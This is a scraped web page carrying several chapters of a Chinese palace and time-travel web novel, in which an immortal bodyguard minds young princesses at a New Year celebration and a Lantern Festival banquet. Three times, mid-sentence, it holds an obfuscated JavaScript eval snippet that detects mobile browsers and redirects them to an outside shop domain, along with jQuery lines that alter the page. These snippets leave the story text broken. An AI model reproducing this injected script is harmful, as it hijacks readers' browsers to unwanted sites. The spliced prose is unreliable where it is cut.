“你们两个一件红衣服都没有?”裴皇后叹口气。 池千鲤和裴明镜齐齐摇头。 天色已晚,现在出去买也来不及了,最后裴皇后想了想,各给两人头上扎了朵小红花,起码讨个彩头。 她教训道:“你们两个明天立刻给我去买红衣服去,春节期间还要穿好几天呢。” 池千鲤决定阳奉阴违,她穿红衣服跟厉鬼索命似的。 “好了吗?好了吗!”金玉泠在外面催,“马上放礼花了!” “好了好了。”裴皇后答应道。 “砰——” 话音刚落,一枚礼花从远处的宫道上冉冉升起,飞向黑天,映到纸窗里面。 裴明镜坐不住了,她终究还是个小孩子,迫不及待地跑着去外面一起看礼花去了。 池千鲤微微一笑,想到她飞升的时候,也才是十六岁的少年,跟这群孩子们一样爱热闹。 “鱼鱼你快点啦!”金玉泠在外面大叫。 池千鲤回过神:“来了来了。” 三个孩子和一些年轻的小宫女们都凑在院前,雀跃又稀奇地看着满天礼花。 池千鲤对这些热闹已经没什么兴趣了,扭头瞥见裴皇后交到嬷嬷手里一个精致的小盒子,后者点点头,往外跑去了,看样子是云宵宫的方向。 烟花很快放完了,三个孩子对视一眼,扯着她要打牌。 池千鲤咬咬牙,同意下来了,结果一晚上没打赢过。 “你牌技真的很烂。”金玉满收拾着铜板,感慨道,“我还是第一次碰见打得比我烂的。” 池千鲤脸上面无表情,心里千疮百孔。 恶语伤鱼心! 金玉泠从刚才开始就一直往外面张望:“好像快到时间了!第二批礼花往宫道上运了!” 大家闹哄哄地往外面挤去,第二批烟花会看着时间,在元日到来的一瞬间点起。 还没等池千鲤听完金玉泠的窃窃私语,砰地一声,天空中绽开了巨大的花火,落在池千鲤亮亮的眼睛里。 金玉泠首先叫起来:“新年快乐!” 这句话像是开启了什么机关,大家纷纷站起来。 “新年快乐!” “新年快乐!” 池千鲤也转头笑,深深地说:“新年快乐。” 她想,很久很久以后,当她回想起这段时光的时候,总还是会记得这平凡的一天。 21. 上元宫宴危机四伏 最终池千鲤没有去买红衣服,裴明镜也只是围了一圈红毛绒领。 不过因为裴皇后的训诫,池千鲤还是从善如流地换了一件天青色的衣服,显得整个人有了点儿生气。 接下来的十几天过得很快,三个人在大草坪上练武写作业,偶尔打打闹闹,像往常一样快乐。 金玉泠有时会去找她的兄妹们玩儿,可惜金清宸最近越来越忙,金玉满一听说练武就跑了,倒是金玉沁有时能聊两句。 池千鲤不讨厌这个小女孩,新年到了,她想要送她点东西。 “四公主。”这天她叫道。 金玉沁一愣,闻声抬头。 一个青年斜斜地倚在树杈上,懒懒地望过来,阳光柔柔地从侧后方打过来,把她的表情映得模糊不清。 金玉沁呼吸一滞,连带着心跳都漏了一拍。 “怎么了?”池千鲤跳下来,随便行了个礼,“傻了?” “啊……”金玉沁猛地回神,局促道,“是鱼姑娘……” 池千鲤:“……” 池千鲤保持微笑:“是池姑娘。” “啊,池姑娘,抱歉……” 这话说完,她就不出声了,而是紧张地搓着有些陈旧的裙摆,仿佛不知道该和池千鲤说什么似的。 池千鲤挑挑眉,只好主动挑起话头寒暄:“四公主近来可好?” “啊?呃……”金玉沁一惊,随即犹豫了一下,“都……都好。” 傻孩子。 池千鲤叹了口气。 必然是不好的。 陈旧的衣服、过时的首饰、拘谨的态度,无一不昭示着她在宫里过的日子有多艰难。 金玉沁听池千鲤半天没出声,似乎猜到了她在想什么,有些难堪地低下头去,这一低头,就让池千鲤看到了她的头顶。 她的头发上盘着两朵绒花,都是蝴蝶样式的。 一个有些旧了,一个是全新的,是池千鲤上次赶去京城东街的首饰铺买的。 池千鲤笑了笑,替金玉沁弹掉左肩上的灰尘,淡淡开口:“绒花很漂亮。” 金玉沁惊讶地小心抬头望了她一眼,随即又很快地低下头去,只是脸颊有些微红:“谢谢池姑娘。” 池千鲤张张嘴,发现也没什么好说的了,便点点头,把手中东西递给她:“新年快乐。” 金玉沁呆在原地,愣了好一会儿,才慢慢地打开手中那个雕花小木盒。 是一柄蝴蝶簪子。 金玉沁猛地一惊,似有所觉,摸摸自己头顶上的新绒花。 它和这柄簪子是一套。 她似乎明白了什么,抬头去找池千鲤的身影,张嘴想要说话。 然而四周早已没有那位来去无影的侠士的踪迹。 草坪上,裴明镜一张小脸憋得通红。 一道白光一闪,她抬头,便见池千鲤快步而来,经过她时眼睛一瞥,问了一句:“马步扎了多长时间了?” 裴明镜脸快红成柿子了:“半……炷……香。” “再扎半炷香再休息。” 裴明镜悬着的心终于死了。 池千鲤走到草地旁边,也没闲着,抄起金玉泠放在一边的作业开始看,手中拿着支毛笔点点圈圈地勾画着。 裴明镜余光瞥见池千鲤正专心批作业,脚步微微一动,腿松了松。 池千鲤头都没抬:“站好了,再动多扎半炷香。” 裴明镜:“……” 可恶!有挂! 半炷香之后,池千鲤一叫停,裴明镜浑身一软,瘫倒在草地上。 金玉泠投去一个幸灾乐祸的眼光,裴明镜面无表情地朝她竖了个中指。 目睹一切的池千鲤摇了摇头。 两个人这才一起玩了几天啊,裴明镜就学坏了。 “好了,”不过孩子们偶尔的小玩笑,池千鲤也不打算太苛责,拍了拍旁边的金玉泠道,“你也休息会儿吧。” 金玉泠果然兴高采烈地跑去裴明镜旁边,然后就地一趴,随后抬起头来,眼巴巴地望着池千鲤,还拍了拍身边那块地。 池千鲤失笑,但也没有扫她的兴,顺势坐到了两人中间。 今天的太阳很好。冬天难得一见这么暖洋洋的日光,照得人慵懒又舒畅。 “啊!”金玉泠舒服地眯起了眼睛,像一只晒太阳的小猫,她大声地叫道,“我的梦想呢,就是永远和你们两个一起晒太阳!” 裴明镜有气无力地隔了一个人应道:“我的梦想是鱼鱼再也不要让我扎马步。” 池千鲤拍打了她一下:“那是不可能的。” 三人笑闹作一团。 “唉,”裴明镜翻了个个儿,把自己弄得全身上下都是草屑,“鱼鱼你一个月前对我还可凶了,你记得不?” 池千鲤好笑道:“你难道不是?江南那时候看你那眼神恨不能杀了我。” 裴明镜撇撇嘴不做声。 过了一会儿,身边两道呼吸声变得均匀起来。 池千鲤一偏头,发现两人都闭上眼睛,枕着日光睡着了。 ———— “起来起来起来!”池千鲤板着脸掀开金玉泠的被褥,又跑到偏室里去掀裴明镜的,“你们两个!今天晚上有宫宴!快起来准备了!” 今天便是正月十五上元节,金玉泠的生辰,同时也是宫宴的举办日。因着这层缘由,池千鲤难得没有一大早喊两人起来,自己也睡了个回笼觉,没想到第二次睁眼一看日头,竟然已经正午时分了,吓得她赶紧爬起来,装作自己醒了很久一样去叫仍在瞌睡的二人。 临走之前,她轻柔地把一个长条形的盒子放在了金玉泠的床头柜上。 金玉泠拉上被子嘟囔:“这才几时啊?让我再睡会儿……” 池千鲤揉了揉眉心,难得温柔的情愫立刻褪去,感觉头都突突地疼。她恨铁不成钢地拎起金玉泠的后脖颈:“都午时了!未时要去你母后宫里的!” 说着,又把裴明镜拎出来赶到金玉泠旁边,叮嘱了一句自己更衣就去整理卷轴了。过了半炷香回来,这俩小孩居然头靠着头又睡着了。 池千鲤忍无可忍地咆哮出声:“给我更衣!” 两个小孩一听她发火,迷迷瞪瞪地站起来就往左边跑。 “反了!”池千鲤气得暴跳,“那边是大门!” 两小只闻声又拐回来。 “砰——” 池千鲤捂脸。 又撞到茶几上了。 池千鲤无可奈何地打开衣柜替这两个不靠谱的家伙挑起衣服来,一边挑挑拣拣嘴里一边嘟囔着太艳太素之类的。 池千鲤摸摸脸,她其实也不太会挑,都是看着裴皇后照虎画猫。 最后好歹挑出两件来,分别扔给了就着茶几又睡着了的两人,两拳轰醒她们让滚去换衣服。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412419|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小半个时辰后,池千鲤带着两人赶到了来仪宫。 今时不同于往日,来仪宫门前熙熙攘攘,都是说说笑笑的命妇小姐们,进了宫按着规矩,先来给裴皇后请安。 金玉满正高兴地和楚清乐说话,一回头看见池千鲤三人,忙大声招呼:“二姐!鱼姑娘!明镜!” 楚清乐也闻声转头,规规矩矩地行了礼。 裴婉仪瞥了这三人一眼,冷哼一声:“起这么晚?” “才没有!”金玉泠一听就不乐意了,“我早就起了!” 这四人早就认识,熟悉得紧,自然一见面就顾不上别的,叽里呱啦地聊起天来。 不过这次,还加上了池千鲤与裴明镜。金玉沁路过时,也懵懵懂懂地被拉上了。 宫宴开场是在傍晚,七人凑在一起,商量着下午的时日怎么度过。 “打牌?”金玉满提议。 池千鲤立刻否定:“不行。” “要不拿两个壶来,投壶吧。”这是金玉泠。 “不行。”金玉满拉着楚清乐,“清乐不会那个。” “对诗?” “明镜不大会。” “下棋?” “……七个人不太好组啊。” 众人苦思冥想了一番,最终还是不得不妥协,选择了最原始的娱乐方式——去御花园赏花。 于是池千鲤去跟裴皇后打了个招呼,七人浩浩荡荡地出发了。 说是赏花,其实也不完全是赏花,这么些小孩闹闹哄哄的,总归是一边看风景一边闲聊,所以池千鲤还贴心地问裴皇后要了一包瓜子,七个人分着嗑。 听着瓜子的呱嗒呱嗒声,池千鲤也心情不错,和小朋友们闲聊起来。 不多时,瓜子嗑完了,众人一齐抬头,眼巴巴地望向池千鲤。 池千鲤:“……好吧,我去扔。” 她们此时正坐在湖心亭里,四面都是湖,池千鲤只能走出去绕远路去扔。 总算找到废弃物收集箱,池千鲤把瓜子壳一把扔进去,拍了拍手,打算原路折返回去。 一回身,却迎面撞见一人笑盈盈地望着她。池千鲤怔了怔,随即很快靠他身上的金光认出了来人,冷下脸来:“太子殿下。” 金清宸温和地与池千鲤道了好:“只是路过恰好看见池姑娘在此,来打声招呼。” 池千鲤点点头:“若无事,我就先走了。” 金清宸面上笑容依然不减:“我同池姑娘正好顺路,一起走吧。” 池千鲤没理他,径直往前走了。金清宸见此,只是默默地跟在后面,并未作声。 走了许久,池千鲤实在忍无可忍,转身发问:“太子殿下一直跟着我,是要干什么?我与太子殿下没什么交情吧?” 金清宸沉默片刻,手中折扇晃了晃,遮住下半张脸。 他叹道:“就是因为没什么交情,才不对吧?” 池千鲤皱眉:“这什么话?” 金清宸抬眼,他这半年长高了一些,已经可以和池千鲤平视了。那双深邃的眸子幽幽地望着池千鲤,一眨不眨。 池千鲤漠然地回视,手背在身后悄悄捏了个诀,随时谨防这个少年向自己发难。 若他这么不识相,自然不必同他客气。 两人对视片刻,金清宸最终还是败下阵来,苦笑一声:“池姑娘,为什么我总感觉你对我有敌意呢?” 22. 上元宫宴危机四伏(二) 我对他有敌意? 池千鲤愣了愣。 这么明显吗? 然而从表面上看,她只是皱皱脸:“太子殿下真是说笑了。” “吾并没有说笑。”金清宸上前一步道,“池姑娘与三妹四妹关系都很好,但每次见到我,要么是看都懒得看,要么便是避之不及,是吾做错了什么吗?” 他的声音里没有别的情绪,只是迷茫和疑惑,仿佛单纯地很不理解为什么池千鲤看自己不顺眼。 池千鲤倒真被这个问题问住了。 她总不能跟他实话实说,是因为你身上有一圈金光,刺得我眼睛疼,才不乐意跟你说话吧? 人以为她有病呢。 池千鲤对这位太子殿下的感情其实十分复杂。 从她自己的角度上来说,在未来,太子一党的人勾结魔界那帮混账,她自然对眼前的小太子没有什么好脸色。 眼见着池千鲤不说话,他又小心翼翼地询问:“是因为我最近比较忙没找二妹玩,她生气了?” 池千鲤低下头,眉毛深深蹙起。 是的,还有一点,就是金玉泠。 有一句话,民间是没讲错的,那就是金清宸和金玉泠是一对针锋相对的宿敌。 金清宸是太子,金玉泠虽然眼下没有,但未来不知出于何种变故产生了夺嫡的心理,那么他们注定会撕破脸的,这是不可否认的事实,也是即将降临的命运。 池千鲤叹了一口气,手心攥紧,如果身旁有人靠着她,就会惊奇地发现,她整个身体都在微微地发抖。 她必须承认自己的私心。 她希望金玉泠不要跟金清宸走得太近了。 他们待在一起的每一分快乐都被命运暗中标好了价码,它会在未来以成倍的痛苦来支付。 池千鲤是很自私的。 她不在乎自己没什么交情的金清宸,她只希望金玉泠在很久很久以后,彻夜批完奏折揉着太阳穴走出御书房时,看到朦胧的日光初升,不会下意识地把手伸向哥哥站立的地方。 池千鲤眨了眨眼,回过神来:“并不是,我没有对太子殿下有任何意见,二公主也没有。” 金清宸像是还要问,可听到后半句话,他紧张的肩膀像是微微松懈了一下似的,轻轻地舒了一口气,想了又想,还是只是说了一句:“那就好。” “玉泠对我没有意见就好。” 池千鲤不置可否,但金清宸却又提出:“我可以和池姑娘一起走吗?我想去跟玉泠说两句话,今天是她的生辰,我有礼物送给她。” 池千鲤皱皱眉,本能地想要拒绝,刚一开口,却迎上了金清宸期待的眼睛。 池千鲤不禁愣了一愣。 那是一双极好看的眼睛,在阳光的照耀下显现出有层次感的琥珀色,内圈的颜色最深,由里到外逐渐变浅,最后几乎透明,显得整只眼睛湿漉漉的,像是珍兽苑里的一只幼年犬。这双眼睛的主人几乎有些低声下气了,像是小狗在摇着尾巴,很迫切地想要见到想见的人。 ……但话又说回来,他现在也没做什么,而且孩子们关系还挺好的,金清宸平时也很照顾金玉泠。 ……不行不行,池千鲤暗自呸了自己一口。不能心软!现在心一软,以后怎么办? 但是吧—— 池千鲤看着金清宸可怜的神情,脸上面无表情,手上却小小地晃了一下袖子,脚无意识地踢踏了一下地面。 金清宸是谁啊,从小跟着明齐帝学习,察言观色的一把好手。他一看池千鲤态度有松动,脸上表情更加可怜兮兮了:“好姐姐,你就带我去一次!” 池千鲤沉默了一会儿,一甩袖子转身走了,嘴里道:“随便你!” 金清宸一听这话喜笑颜开,忙三步并作两步跟上去。 池千鲤越走越快,像是生怕人知道自己带金清宸去见了金玉泠一样,而金清宸跟在后面也越走越快,像是生怕人不知道他见金玉泠是经过了池千鲤的许可一样。 最后池千鲤已经脚下生风飘起来了,而金清宸已经跟在后面没命跑起来了,两个人谁都不放慢脚步,一个很简单,怕影响时空回环遭天谴,另一个更简单了,恨不得昭告全天下他跟他妹要好这事得到人家密友的批准了。 边上的小宫女眯着眼睛,踮起脚来眺望了一下远方。 她旁边的宫女不解,用胳膊肘了肘她问道:“你这是看什么呢?” 没想到她却更疑惑:“不知道啊。” “我刚看到两个影子一前一后飘过去了,大白天的闹鬼了?” 六小只呆若木鸡地看着像鬼影一样飘过来的池千鲤和跑得像狗一样喘气的金清宸。 “你俩干什么呢?”金玉泠不解道,“赛跑?” 池千鲤默然地看了旁边累瘫在柱子上的的少年一眼。 她也不知道自己刚刚在干什么,老实说,甩掉金清宸有很多种方式,用瞬移、下迷药、隐身咒……或者,压根不答应他带他来找金玉泠。 后面还有宴会,他有大把的时间找金玉泠说话,而且皇子公主住的地方相隔不远,他要是散席后来找,池千鲤也没理由拦。 但她刚刚就是莫名其妙地,很想赌气,很想跟他比一比。 比什么呢? 她同样不知道。 比谁能更快跑到凉亭?比谁才是金玉泠最好的朋友?或者,只是单纯地看未来的他不顺眼,想恶趣味地刁难刁难过去的他? 总之,看着满脸怨怼、衣冠散乱的金清宸,池千鲤难得嗤笑了一声,然而心里却悄无声息地舒服了一些。 她想到正规理由了,她只是不服气金清宸有明齐帝亲自教,而金玉泠只能自学,这样的埋怨无可厚非,自然要赌一赌气,对吗? 听上去还是好幼稚啊……池千鲤望着走到远处说话的两兄妹,撇撇嘴嫌弃了一下自己心里的想法。 自己是从什么时候变得这么幼稚的? 池千里想了又想。 噢。 好像一碰到与这些孩子们有关的事情,自己就会变成这样。 池千鲤伸脚踹了一下凉亭中的小石子,决定回去之后问未来时间线上的金玉泠和裴明镜要点钱,补偿一下自己为了她们的事变成弱智的损失。 没多久,金玉泠蹦蹦跳跳地回来了,池千鲤瞥了一眼,发现她腰间多了一块玉佩,雕的是一只栩栩如生的小金鱼,系绳五彩斑斓的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412420|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她的漂亮衣服很适配。 金清宸很温和地看着她,最后她转身回望时,收回目光与她挥挥手作了告别。 哼。 池千鲤在心里给他比了个中指,然后后知后觉地发现自己也学坏了。 几人又玩了一会儿,一看天色不早,便紧赶慢赶地往宣和殿去了。 宣和殿中,身着华服的男男女女们也陆陆续续入场了,几人也混在人群中钻了进去。 宫宴的座次是男女分坐,官员大臣带着公子们坐在右侧,以太子为首;命妇夫人们带着小姐坐在左侧,以几位公主为首。帝后及各宫娘娘们自是坐在高台上,不与底下的人同坐。 官员们按官位从高到低,有固定的坐席顺序,连带着夫人们也一样。不过公子和小姐们,就相对来说松散了许多。 池千鲤几人一进殿,就看到太子那席被贵公子们围得水泄不通,纷纷想上去讨个巧,好坐在太子身边。金清宸满脸无奈,看到池千鲤这行人进来,拼命抬头想跟她们打个招呼,可惜很快就淹没在热情公子们的人头中了。 金玉泠窃笑,金玉满则侧头对楚清乐说:“哎,你看那些公子中间,是不是有你哥?” 裴婉仪闻言看去:“啧,还真是。” 池千鲤凑近金玉泠咬耳朵:“她们说哪个呢?” 金玉泠积极地给她指明:“就那个,举着茶杯挤到我哥正前方的那个,就是左相长子楚清河。” 池千鲤略挑挑眉:“原来是那个?” 池千鲤说的“那个”,便是人群当中最显眼的那个。那楚清河虽然其貌不扬,但是穿金带玉,像是生怕别人不知道自己家里有钱,整个人散发着各种饰品堆砌出来的金光,池千鲤一打眼看去,那光比金清宸身上的还刺眼,晃得池千鲤都定睛看了好久,才看清楚他的五官。 眼下他正满脸堆笑地扒着金清宸,金清宸倒也不嫌他烦,偶尔真跟他说两句话,他乐颠颠的,当场就霸住了金清宸旁边的那个座位,一屁股坐了下去。 少年太子的脸上浮现一阵尴尬。 金玉泠小声跟池千鲤解释:“左相这些年来一直很支持我哥,所以他虽然也不太待见楚清河,但总要给左相大人面子。” 池千鲤点点头,内心明了,想来也正是由于明齐帝的看重和金清宸的进言,左相才节节高升,幼女楚清乐也被选进了琼华殿,做了三公主的伴读。 想到这里,池千鲤转头瞧了瞧楚清乐的反应。 这小姑娘羞得恨不得找个地缝钻进去,看样子很不想承认那个是她哥。 “好了,”池千鲤发了话,“我们进去吧。” 相比太子那边,公主们这边的状况要好多了。金玉泠早已提前跟内务府说好,她那桌留七张位置,姐妹三个和裴家的还有楚家的坐,再加上池千鲤和裴明镜。七个人入席而坐,又开始侃侃而谈,聊得也是投机。偶尔也有几个眼熟的小姐来和她们打声招呼说几句话,并略带好奇地看一眼池千鲤和裴明镜。 正聊得高兴,门外突然传来一声尖利的长音:“陛下到——皇后娘娘到——各宫主子到——” 众人起身,理理衣袖,随声叩首。 上元宫宴开场了。 23. 上元宫宴危机四伏(三) “平身吧。” 伴随着一道和蔼可亲却不怒自威的男声,众人纷纷起立入座。 金玉泠偷偷往旁边瞟了一眼,然后无语地发现池千鲤是蹲着的。 “我说,”金玉泠没好气地同她咬耳朵,“你干嘛呢?” 池千鲤也很无辜,这众目睽睽的,她又不能上演一出当场消失再出现,坐着不跪更是引人注目,那还有什么办法? “我在装跪啊,”池千鲤理直气壮地同金玉泠解释,“不然还不得被拉下去斩了?” 后者一翻白眼,决定不和这个和正常人思维大不相同的家伙计较。 她往另一边转过身去,想跟裴明镜吐槽一下池千鲤莫名其妙的行为,却发现裴明镜也在面无表情地蹲着。 金玉泠:“……” 好好好,你们都装跪不带我! 等大家都坐定之后,明齐帝环视一圈,就开始了致辞环节,内容很是单调枯燥,就算池千鲤第一次听都困得想睡觉。 池千鲤没忍住往后侧方瞄了一眼,除了金玉泠和裴明镜和她一样心不在焉以外,其他人都听得很认真,尤其是隔壁桌的金清宸,腰杆挺直一脸崇拜地望着他的老父亲。 ……真是佩服这老些人。 池千鲤觉得大概过了有十二个时辰那么久,明齐帝终于结束了他废话连篇的长篇大论,挥挥手示意大家开席。 说是开席,也不过是客套一下而已,哪会有人真的在皇家宫宴上肆无忌惮地吃?不管是左侧的夫人小姐们,还是右侧的官员公子们,都只是矜持地动了一下筷子表示表示,然后便和周围的同僚们各怀鬼胎地客套起来,打算套出些消息。 然而就是有人真的会吃。 裴明镜在明齐帝挥手的一瞬间,眼疾手快地抢走了桌上半只烧鸡。 “嗷!”金玉满愣了足有三息时间才反应过来,哇哇大叫起来,“裴明镜!你干什么!” 原本她打算吩咐下面的人等宴会结束后把那只烧鸡打包回她宫里的! 她目眦欲裂地望向那盘烧鸡,打算别管什么潜规则了,当场抢走剩下半只,结果眼睛一抬,剩下半只也不翼而飞了。 抬头一看,池千鲤正慢条斯理地处理着另外半只。 金玉满气炸了,本能地寻求帮助:“姐!你看她们……” 余光一瞥,发现金玉泠正在鬼鬼祟祟地扒拉一块牛小排。 金玉满:“……” 这下小公主彻底不含糊了,抄起筷子抢起菜来。 搞什么!这些菜都是逢年过节御膳房才会做的大菜!不吃很亏哎! 于是金玉满不光抢,还帮楚清乐抢,看到什么新菜上桌先往她碗里夹,大不了抢完了两个人再分。 裴婉仪也开始抢,臭着脸抢,不知是不是由于这副表情太战神,居然没人抢得过她。 池千鲤想了想,也帮金玉沁抢了一点。 “啊……”金玉沁似乎有点受宠若惊,她抬起头来,眼睛亮亮的,“谢……谢谢池姑娘。” “不客气。”池千鲤弯弯眼睛。 就这样,池千鲤这一桌的画风大相径庭,七个人各显神通地开始抢菜,上桌的菜不出五息就被横扫一空。 明齐帝眼睛一扫,有意无意地把目光锁定在池千鲤和裴明镜身上,神情中流露出一丝惊讶和鄙夷。 裴皇后扫了他一眼,一边夹自己小桌板上的菜一边把座位挪得远了一点。 其实这一桌人变成这样,还真的就怪裴明镜和池千鲤。 裴明镜不用说,一是胃口大习惯抢菜,二是皇宫里的礼仪自然也没学过也不屑学,三是刺客在故意挑衅明齐帝。 问题是当众人最开始跟池千鲤一起吃饭的时候,真是大吃一惊。 看着斯斯文文笑眯眯的一个人,坐一桌吃席的时候居然吃得风卷残云,仿佛激发了什么天赋一样,伸筷子快得要命。 后来,据池千鲤自述,是因为小时候在村子里经常跟父母一起去吃席,要跟村口大爷大妈坐一桌抢菜,抢习惯了,到现在都没改过来。 金玉泠虽然不爱吃饭,但也不是什么都不吃,为了抢点菜,在这两个练家子吃起饭来不要命的状况下只能同流合污。 最后此坏习惯出现人传人现象,成功传给了一桌人。 裴皇后倒是没什么意见,本来金玉泠这孩子总是吃零嘴,嘴里就没有歇着的时候,一到正经吃饭就吃不下了,让她很是头疼。但她一旦跟池千鲤她们吃饭,还能罕见地多吃一点,让她放心不少。 明齐帝的表情就不是那么好了。 这倒也不是吃饭的原因,从那次江南之行过后,这位让人捉摸不透心思的老皇帝似乎就对金玉泠没有往日宠爱了,本来他大加赞赏的池千鲤,现在更是看她鼻子不是鼻子,眼睛不是眼睛,看哪哪不顺眼。 池千鲤对此没什么感情波动,对她而言明齐帝只是一个陌生人;金玉泠倒是伤心了一阵子,这毕竟是她父皇,以前也特别特别宠爱她。 这事儿池千鲤没跟裴明镜探讨过,以防她说出什么他对你态度不好,那我现在就去杀了他的惊骇言论。 要是出了什么差错时空没法闭环就坏了,她好不容易说服裴明镜让她出师以后再当刺客,还是背着金玉泠说的,要让这小公主知道,辛辛苦苦凑起来的三人组得一拍即散。 眼下,明齐帝皱着眉头,凑过去小声对裴皇后说:“你也该管管玉泠玉满,别天天跟一些不三不四的朋友混在一起,你看看这像什么样子。” 裴皇后抬头看了一眼,随后又低下头去夹菜,看不清表情,但声音很冷漠:“陛下说得是。” 明齐帝生气:“你这是什么态度?朕说话不管用不成?” “皇上说笑了,”裴皇后仍然淡淡的,“您说话自然是天底下最管用的。” 然后就没有下文了,也没表示自己到底教不教育两姐妹。 明齐帝一口气郁结在心,重重地哼了一声,拂袖不再与裴皇后说话了。 这裴宣灵总是这样,一旦有不满意的事儿,一不顶嘴,二不撒娇,三也不听,事后一问她还装作惊讶,无趣得很。 明齐帝转过头去,和凌贵妃说起话来。贵妃说话花言巧语,打扮花枝招展,人也左右逢源,很会讨他高兴。 不一会儿,池千鲤就听到高台上传来女人的咯咯娇笑声和中年男人促狭的笑声,她抬头一瞧,正好望见凌贵妃以团扇掩嘴,笑得前仰后合花枝乱颤,而裴皇后飞速地瞥了一眼那头,没有说话。 有趣,池千鲤勾唇一笑,若是那天她没和贵妃说几句话,还真就被她这副模样骗过去了。 池千鲤看了一会儿,就百无聊赖地移开目光,将眼神投向对面的席位。她不是很好奇凌贵妃过去的故事,这不在她的业务范围之内了,打工人最重要的品质就是收起好奇心,不该问的别多问。 如今她有更重要的事情要去观察——已经有几个高品阶官员蠢蠢欲动,想要献礼了。 而她必须知道哪些是太子党,知道得越多越好,这不仅有利于后续的夺嫡战,更是未来时间线上平复太子一党动乱的极强助力。 太子一党……魔族…… 池千鲤烦躁地揉了揉眉心,魔族居然时隔千年卷土重来,还勾结了人族一部分高层,这是她万万没想到的事。 那帮鬼心眼多的家伙最会玩这招,但这是她的弱项,她所有的谋略,也仅限于如何排兵布阵,她所有的知识,也只是看兵书得来的那一小些。 可如今她却不得不卷入朝堂风云,甚至与自己最不喜的帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412421|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王家联手,从头开始学习朝堂政事,甚至要色厉内荏地教导未来的皇帝。 而她这次面对魔族的来犯,甚至只能孤军奋战,根本无法提醒天庭警戒,而天庭也根本不会听她这个很早之前就被贬下凡的罪人说话。 池千鲤后知后觉地感到一阵深深的疲惫。 正在这时,左相最先忍不住,几步上前向明齐帝献礼了。池千鲤立刻摒除所有杂念,强打起精神,记录朝臣们的党派。 走一步看一步吧,她暗叹。 楚相是一个四十多岁的男人,常说文人翩翩风骨,可池千鲤反正一点都没从他身上看出来。他看上去很市侩,眼睛很小,看人的时候总是滴溜乱转,看着极其精明,倒是跟他儿子一个模子里雕刻出来的一般。 想来楚清乐是像母亲了,池千鲤面无表情地想道。 虽然这也是金玉泠的生日宴,可他的礼自然不是献给金玉泠的——开玩笑,朝中重臣要向一个一点实权都没有的黄毛丫头送礼,就算这人是公主,他脸也丢完了。 现在他正大声且浮夸地念着自己早就背好的奉承词,背了半天,大家都兴致缺缺,只有明齐帝很有兴趣地听,仿佛这是真心诚意地夸他,而他也颇为受用似的。 说了半天终于结束了,而楚相也终于献上了自己的礼物——一柄玉石雕成的尚方宝剑。 看到那剑的一瞬间,池千鲤差点一口茶水喷出来了。 这也能叫尚方宝剑? 上战场提着一块玉去打仗不成? 你要说这是宝剑样式的摆件就算了,偏偏楚相非说这是宝剑,将其夸得天上有地上无,明齐帝看着也很是高兴,下首的一群武将倒是看着很不服气,但碍于楚相势大,且明齐时代重文轻武,谁也不敢说个不是。 池千鲤无奈了。 让这俩自娱自乐去吧。 总算熬过了艰难的楚相献礼,接下来池千鲤打起精神,一个一个看过去,并观察太子对这些人的反应。 不得不说,金清宸还是太年轻了,遇到支持自己的人上来,眼神一直在他父皇和这大臣中间乱飘,像是生怕他惹了明齐帝不高兴,故而池千鲤判断起来十分省力。 这中间,池千鲤还看到了熟人——大理寺卿程少歌。她没在他身上留太多眼色,死人没什么需要注意的。 让她意外的是,裴皇后的母家,齐国公府裴氏,居然是偏后才献礼。 如今的齐国公是皇后裴宣灵的长兄裴宣义,池千鲤上次虽然也跟着齐国公的女儿裴婉仪一起游江南,可确实没有太注意齐国公府的景况——当时大家为了掩人耳目,都穿得很普通,谁也看不出来什么——可如今看来,齐国公裴家居然是落魄了。 显而易见,裴宣义不是太子党,池千鲤默默在桌子底下拿纸笔记。 不过要说最大的太子党,池千鲤咬着笔杆陷入沉思,那必然是中军大将军凌家。 很明显,这是凌贵妃的母家,不过很奇怪的是,从凌贵妃的反应来说,她与这位父亲好像不是很亲厚,凌将军站上来时,她只是轻轻睨了一眼,便低下了头。 金清宸倒是跟他外祖父关系挺好的样子,上去下来的时候两人都微不可查地眼神对视了一下。 献礼环节终于结束了,池千鲤把宣纸塞进袖袋里,打算回去再细看。 然而她这边刚松了一口气,那边申公公突然上前,附在明齐帝耳边耳语了几句,池千鲤又神经紧绷起来,观察着明齐帝的反应。 然而他只是点点头,挥挥手示意了什么,随后申公公忙拉长了嗓音喊:“宣,北燕使臣进殿——” 池千鲤皱皱眉,北燕? 好耳熟,但是想不起来在哪听说过。 过了数息,她瞳孔猛地一缩。 北燕?! 24. 上元宫宴危机四伏(四) 北燕,白虎门之变的北燕? 那不就是金玉泠要去和亲的地方? 